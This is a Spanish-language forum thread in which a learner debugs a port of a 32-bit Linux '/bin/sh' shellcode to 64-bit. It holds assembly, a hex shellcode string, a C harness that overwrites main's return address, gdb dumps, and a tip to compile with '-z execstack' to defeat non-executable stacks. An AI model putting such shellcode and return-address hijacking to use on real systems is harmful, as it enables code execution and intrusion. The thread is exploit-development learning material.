Intentando hacer shellcode 64 bits

Iniciado por lapras, 25 Julio 2011, 01:36 AM

0 Miembros y 1 Visitante están viendo este tema.

lapras

Hola estoy empezando a escribir shellcodes. Estaba leyendo un manual que encontre en esta misma página: Shellcodes linux de Raise.
He llegado ala parte en donde pone este código:

Código (asm) [Seleccionar]
jmp    0x1f
        popl   %esi
        xorl   %eax,%eax
        movb   %al,0x7(%esi)
        movl   %esi,0x8(%esi)
        movl   %eax,0xc(%esi)
        movb   $0xb,%al
        movl   %esi,%ebx
        leal   0x8(%esi),%ecx
        leal   0xc(%esi),%edx
        int    $0x80
        xorl   %eax,%eax
        xorl   %ebx,%ebx
        inc    %eax
        int    $0x80
        call   -0x24
        .string \"/bin/sh\"


Como podrán comprobar es ensamblador de 32 bit y al compilarlo me da error.
Entonces decidí hacer una modificaciones:

Código (cpp) [Seleccionar]
void funcion();
int main(){

funcion();



}

void funcion(){
    asm("jmp    0x2e(%rip);"
        "popq   %rsi;"
        "xorq   %rax,%rax;"
        "movb   %al,0x7(%rsi);"
        "movq   %rsi,0x8(%rsi);"
        "movq   %rax,0xc(%rsi);"
        "movb   $0xb,%al;"
        "movq   %rsi,%rbx;"
        "leaq   0x8(%rsi),%rcx;"
        "leaq   0xc(%rsi),%rdx;"
        "int    $0x80;"
        "xorq   %rax,%rax;"
        "xorq   %rbx,%rbx;"
        "inc    %rax;"
        "int    $0x80;"
        "call   -0x29;"
        ".string \"/bin/sh\";");
}


Luego el problema es que me da segmentation fault.

Les pongo un pequeño analisis en gdb para que lo vean más claro:
(gdb) disassemble funcion
Dump of assembler code for function _Z7funcionv:
   0x00000000004005c4 <+0>: push   %rbp
   0x00000000004005c5 <+1>: mov    %rsp,%rbp
   0x00000000004005c8 <+4>: jmpq   *0x2e(%rip)        # 0x4005fc <_Z7funcionv+56>
   0x00000000004005ce <+10>: pop    %rsi
   0x00000000004005cf <+11>: xor    %rax,%rax
   0x00000000004005d2 <+14>: mov    %al,0x7(%rsi)
   0x00000000004005d5 <+17>: mov    %rsi,0x8(%rsi)
   0x00000000004005d9 <+21>: mov    %rax,0xc(%rsi)
   0x00000000004005dd <+25>: mov    $0xb,%al
   0x00000000004005df <+27>: mov    %rsi,%rbx
   0x00000000004005e2 <+30>: lea    0x8(%rsi),%rcx
   0x00000000004005e6 <+34>: lea    0xc(%rsi),%rdx
   0x00000000004005ea <+38>: int    $0x80
   0x00000000004005ec <+40>: xor    %rax,%rax
   0x00000000004005ef <+43>: xor    %rbx,%rbx
   0x00000000004005f2 <+46>: inc    %rax
   0x00000000004005f5 <+49>: int    $0x80
   0x00000000004005f7 <+51>: callq  0xffffffffffffffd7
   0x00000000004005fc <+56>: (bad) 
   0x00000000004005fd <+57>: (bad) 
   0x00000000004005fe <+58>: imul   $0xc9006873,0x2f(%rsi),%ebp
---Type <return> to continue, or q <return> to quit---
   0x0000000000400605 <+65>: retq   
End of assembler dump.
(gdb) run
Starting program: /home/tuket/a.out

Program received signal SIGSEGV, Segmentation fault.
0x00000000004005c8 in funcion() ()
(gdb)


Ah por cierto al compilar el codigo me daba un warning en el jmp que dicia que no se habia indicado el signo *. Sin embargo en el codigo desemsamblado vemos que lo ha puesto solo.
Aver si me podeis ayudar :)

Ivanchuk

Hola tuket,

Fijate el comentario en el jmpq

Cita de: tuket en 25 Julio 2011, 01:36 AM


  ...
  0x00000000004005c8 <+4>: jmpq   *0x2e(%rip)        # 0x4005fc <_Z7funcionv+56>
  ...
  0x00000000004005f7 <+51>: callq  0xffffffffffffffd7
  0x00000000004005fc <+56>: (bad)  


Salta a la 4005fc, justo despues del callq, probablemente sea ese el error.
Te aconsejo que uses labels, asi dejas al compilador que te calcule los offsets. O sea, una cosa asi:

Código (asm) [Seleccionar]

.text
       jmp    data
sc:
       popl   %esi
       xorl   %eax,%eax
       movb   %al,0x7(%esi)
       movl   %esi,0x8(%esi)
       movl   %eax,0xc(%esi)
       movb   $0xb,%al
       movl   %esi,%ebx
       leal   0x8(%esi),%ecx
       leal   0xc(%esi),%edx
       int    $0x80
       xorl   %eax,%eax
       xorl   %ebx,%ebx
       inc    %eax
       int    $0x80
data:
       call   sc
       .string "/bin/sh"


Porque no lo compilas con as o con cualquier otro ensamblador en lugar de hacerlo embedido en C ?
Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org

lapras

Sip tienes razon por que salta a (bad) ese era un fallo. Ahora he puesto etiquetas.
De todos modos creo que para hacer shellcodes la posicion tiene que ser relativa porque luego se cambia.
Con etiquetas me sigue saliendo segmentation fault i creo que se porque es:
0x00000000004005c4 <+0>: push   %rbp
   0x00000000004005c5 <+1>: mov    %rsp,%rbp
   0x00000000004005c8 <+4>: jmp    0x4005f3 <data>
   0x00000000004005ca <+6>: pop    %rsi
   0x00000000004005cb <+7>: xor    %rax,%rax
   0x00000000004005ce <+10>: mov    %al,0x7(%rsi)
   0x00000000004005d1 <+13>: mov    %rsi,0x8(%rsi)
   0x00000000004005d5 <+17>: mov    %rax,0xc(%rsi)
   0x00000000004005d9 <+21>: mov    $0xb,%al
   0x00000000004005db <+23>: mov    %rsi,%rbx
   0x00000000004005de <+26>: lea    0x8(%rsi),%rcx
   0x00000000004005e2 <+30>: lea    0xc(%rsi),%rdx
   0x00000000004005e6 <+34>: int    $0x80
   0x00000000004005e8 <+36>: xor    %rax,%rax
   0x00000000004005eb <+39>: xor    %rbx,%rbx
   0x00000000004005ee <+42>: inc    %rax
   0x00000000004005f1 <+45>: int    $0x80
   0x00000000004005f3 <+0>: callq  0x4005ca <_Z7funcionv+6>
   0x00000000004005f8 <+5>: (bad) 
   0x00000000004005f9 <+6>: (bad) 
   0x00000000004005fa <+7>: imul   $0x78786873,0x2f(%rsi),%ebp
   0x0000000000400601 <+14>: js     0x40067b <__libc_csu_init+27>

Ahora vemos que si que salta donde deberia.
Pero sale segmentation fault con el gdb me sale lo siguiente:
(gdb) break funcion
Punto de interrupción 1 at 0x4005c8
(gdb) run
Starting program: /home/tuket/a.out

Breakpoint 1, 0x00000000004005c8 in funcion() ()
(gdb) stepi
0x00000000004005f3 in data ()
(gdb) stepi
0x00000000004005ca in funcion() ()
(gdb) stepi
0x00000000004005cb in funcion() ()
(gdb) stepi
0x00000000004005ce in funcion() ()
(gdb) stepi

Program received signal SIGSEGV, Segmentation fault.
0x00000000004005ce in funcion() ()
(gdb)


0x00000000004005ce ahi es donde da error. Habia pensado que igual era por que intenta escribir en la sección de codigo de programa y eso no se puede(si alguien lo sabe seguro que lo confirme).Tal vez como es una shellcode se supone que deberia estar en la pila y el codigo en ese caso si se podria modiaficar. Aver si alguien me lo puede decir.
Y gracias por la respuesta :)

lapras

Mmm...  creo que ya lo tengo. Pero tengo sueño mañana os cuento que ya es tarde. :silbar:

lapras

Pues no, no lo tengo pero casi.
Necesito más tiempo. Ya os contare.
Todavía se admiten respuestas y sugerencia :)

lapras

Maldita sea ahora tengo otro problema.
Al final tengo el código así:
Código (cpp) [Seleccionar]
#include<iostream>
using namespace std;
//void funcion();

char hole[]="\x55\x48\x89\xe5\xff\x25\x29\x00\x00\x00\x5e\x48\x31\xc0\x88\x46\x07\x48\x89\x76\x08\x48\x89\x46\x0c\xb0\x0b\x48\x89\xf3\x48\x8d\x4e\x08\x48\x8d\x56\x0c\xcd\x80\x48\x31\xc0\x48\x31\xdb\x48\xff\xc0\xcd\x80\xff\x15\xd1\xff\xff\xff/bin/edx";
int main(){

long *ret;
ret= (long*)&ret;
ret+=2;
*ret = (long)hole;

}

/*void funcion(){
    asm("jmp    *0x29(%rip);"
        "popq   %rsi;"
        "xorq   %rax,%rax;"
        "movb   %al,0x7(%rsi);"
        "movq   %rsi,0x8(%rsi);"
        "movq   %rax,0xc(%rsi);"
        "movb   $0xb,%al;"
        "movq   %rsi,%rbx;"
        "leaq   0x8(%rsi),%rcx;"
        "leaq   0xc(%rsi),%rdx;"
        "int    $0x80;"
        "xorq   %rax,%rax;"
        "xorq   %rbx,%rbx;"
        "inc    %rax;"
        "int    $0x80;"
        "call   *-0x2f(%rip);"
        ".string \"/bin/shxxx\";");
}*/



Ahora tengo un error super raro. He conseguido que la dirección de retorno de main pase a la dirección de hole[] para poder ejecutar la shellcode.
Pues bien, ahora el error(segmentation faoult)esta dentro de la shellcode, ¡en la 1º linea de la shellcode! Mirad:
(gdb) run
Starting program: /home/tuket/a.out

Breakpoint 1, 0x00000000004006e8 in main ()
(gdb) stepi
0x00000000004006ec in main ()
(gdb)
0x00000000004006f0 in main ()
(gdb)
0x00000000004006f4 in main ()
(gdb)
0x00000000004006f8 in main ()
(gdb)
0x00000000004006fc in main ()
(gdb)
0x0000000000400700 in main ()
(gdb)
0x0000000000400705 in main ()
(gdb)
0x0000000000400708 in main ()
(gdb)
0x000000000040070d in main ()
(gdb)
0x000000000040070e in main ()
(gdb)
0x0000000000601060 in hole ()
(gdb)

Program received signal SIGSEGV, Segmentation fault.
0x0000000000601060 in hole ()
(gdb) disassemble 0x0000000000601060
Dump of assembler code for function hole:
=> 0x0000000000601060 <+0>: push   %rbp
   0x0000000000601061 <+1>: mov    %rsp,%rbp
   0x0000000000601064 <+4>: jmpq   *0x29(%rip)        # 0x601093 <hole+51>
   0x000000000060106a <+10>: pop    %rsi
   0x000000000060106b <+11>: xor    %rax,%rax
   0x000000000060106e <+14>: mov    %al,0x7(%rsi)
   0x0000000000601071 <+17>: mov    %rsi,0x8(%rsi)
   0x0000000000601075 <+21>: mov    %rax,0xc(%rsi)
   0x0000000000601079 <+25>: mov    $0xb,%al
   0x000000000060107b <+27>: mov    %rsi,%rbx
   0x000000000060107e <+30>: lea    0x8(%rsi),%rcx
   0x0000000000601082 <+34>: lea    0xc(%rsi),%rdx
   0x0000000000601086 <+38>: int    $0x80
   0x0000000000601088 <+40>: xor    %rax,%rax
   0x000000000060108b <+43>: xor    %rbx,%rbx
   0x000000000060108e <+46>: inc    %rax
   0x0000000000601091 <+49>: int    $0x80
   0x0000000000601093 <+51>: callq  *-0x2f(%rip)        # 0x60106a <hole+10>
   0x0000000000601099 <+57>: (bad) 
   0x000000000060109a <+58>: (bad) 
   0x000000000060109b <+59>: imul   $0x786465,0x2f(%rsi),%ebp
End of assembler dump.
(gdb)

Como podréis observar el segmentation fault aparece en la 1º linea de la shellcode y esa linea tiene un push.¿Como demonios puede dar segmentation fault un maldito push que simplemente introduce un dato en la pila?
Ayudadme que estoy desesperao xD

Ivanchuk

Hola tuket,

Seguramente es porque la sección de datos no es ejecutable!

Mete la declaracion de hole[] adentro del main, compila con la opcion "-z execstack" y contanos.

Saludos
Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org

lapras

#7
Gracias por tu respuesta Ivanchuk.
Supongo que eso sera para meter datos en la pila en vez de en la sección data.
Es muy buena idea. Lo he dejado asi.
int main(){

char hole[]="\x55\x48\x89\xe5\xff\x25\x29\x00\x00\x00\x5e\x48\x31\xc0\x88\x46\x07\x48\x89\x76\x08\x48\x89\x46\x0c\xb0\x0b\x48\x89\xf3\x48\x8d\x4e\x08\x48\x8d\x56\x0c\xcd\x80\x48\x31\xc0\x48\x31\xdb\x48\xff\xc0\xcd\x80\xff\x15\xd1\xff\xff\xff/bin/ed";

long *ret;
ret= (long*)&ret;
ret+=2;
*ret =(long)hole;

}


Ahora lo que pasa es que debe de calcular la nueva direccion de retorno. Por que como se han introducido datos en la pila la direccion de ret ya no estara a +2 de la direccion de retorno de main. Es dicir en vez de poner ret+=2 tendria que poner ese numero.Aver si lo puedo calcular. Muchas gracias  ;D

lapras

#8
Para calcular ese numero he hecho lo siguiente:
He contado los bytes de la cadena y me da justamente 64.
He observado que cuando yo ponia +2 luego en gdb ponia +0x10 que son 16. Por eso va de 8 en 8. Entonces he dividido 64/8=8 y luego 8+2 =10.
por eso he puesto :
ret+=10;

Pero algo extraño pasa:

tuket@tuket-desktop:~$ ./a.out
*** stack smashing detected ***: ./a.out terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x37)[0x7f0d2ff73217]
/lib/libc.so.6(__fortify_fail+0x0)[0x7f0d2ff731e0]
./a.out[0x400805]
/lib/libc.so.6(__libc_start_main+0xfd)[0x7f0d2fe92c4d]
./a.out[0x400699]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:02 3670187                            /home/tuket/a.out
00600000-00601000 r-xp 00000000 08:02 3670187                            /home/tuket/a.out
00601000-00602000 rwxp 00001000 08:02 3670187                            /home/tuket/a.out
00e52000-00e73000 rwxp 00000000 00:00 0                                  [heap]
7f0d2fe74000-7f0d2ffee000 r-xp 00000000 08:02 917651                     /lib/libc-2.11.1.so
7f0d2ffee000-7f0d301ed000 ---p 0017a000 08:02 917651                     /lib/libc-2.11.1.so
7f0d301ed000-7f0d301f1000 r-xp 00179000 08:02 917651                     /lib/libc-2.11.1.so
7f0d301f1000-7f0d301f2000 rwxp 0017d000 08:02 917651                     /lib/libc-2.11.1.so
7f0d301f2000-7f0d301f7000 rwxp 00000000 00:00 0
7f0d301f7000-7f0d3020d000 r-xp 00000000 08:02 917583                     /lib/libgcc_s.so.1
7f0d3020d000-7f0d3040c000 ---p 00016000 08:02 917583                     /lib/libgcc_s.so.1
7f0d3040c000-7f0d3040d000 r-xp 00015000 08:02 917583                     /lib/libgcc_s.so.1
7f0d3040d000-7f0d3040e000 rwxp 00016000 08:02 917583                     /lib/libgcc_s.so.1
7f0d3040e000-7f0d30490000 r-xp 00000000 08:02 918093                     /lib/libm-2.11.1.so
7f0d30490000-7f0d3068f000 ---p 00082000 08:02 918093                     /lib/libm-2.11.1.so
7f0d3068f000-7f0d30690000 r-xp 00081000 08:02 918093                     /lib/libm-2.11.1.so
7f0d30690000-7f0d30691000 rwxp 00082000 08:02 918093                     /lib/libm-2.11.1.so
7f0d30691000-7f0d30787000 r-xp 00000000 08:02 6164233                    /usr/lib/libstdc++.so.6.0.13
7f0d30787000-7f0d30987000 ---p 000f6000 08:02 6164233                    /usr/lib/libstdc++.so.6.0.13
7f0d30987000-7f0d3098e000 r-xp 000f6000 08:02 6164233                    /usr/lib/libstdc++.so.6.0.13
7f0d3098e000-7f0d30990000 rwxp 000fd000 08:02 6164233                    /usr/lib/libstdc++.so.6.0.13
7f0d30990000-7f0d309a5000 rwxp 00000000 00:00 0
7f0d309a5000-7f0d309c5000 r-xp 00000000 08:02 917559                     /lib/ld-2.11.1.so
7f0d30b9d000-7f0d30ba1000 rwxp 00000000 00:00 0
7f0d30bc2000-7f0d30bc4000 rwxp 00000000 00:00 0
7f0d30bc4000-7f0d30bc5000 r-xp 0001f000 08:02 917559                     /lib/ld-2.11.1.so
7f0d30bc5000-7f0d30bc6000 rwxp 00020000 08:02 917559                     /lib/ld-2.11.1.so
7f0d30bc6000-7f0d30bc7000 rwxp 00000000 00:00 0
7fff885b8000-7fff885cd000 rwxp 00000000 00:00 0                          [stack]
7fff885ff000-7fff88600000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
Abortado
tuket@tuket-desktop:~$


Es como si se diera cuanta de que intento desbordar la pila.
Oh mira lo que he encontrado: http://www.exploit-db.com/papers/13065/
Aver si esto me da pistas :)

lapras

Mira lo que dice el cabroncete del texto anterior  :(
CitarComo veremos mas adelante las cosas se han puesto bastante dificiles. Se ha
añadido 'proteccion' via hardware, y el kernel se ha parcheado añadiendo aun
mas dificultades. Definitivamente el tipico exploit_base.c en el que
modificando cuatro valores tenias un exploit funcional ha pasado a la
historia.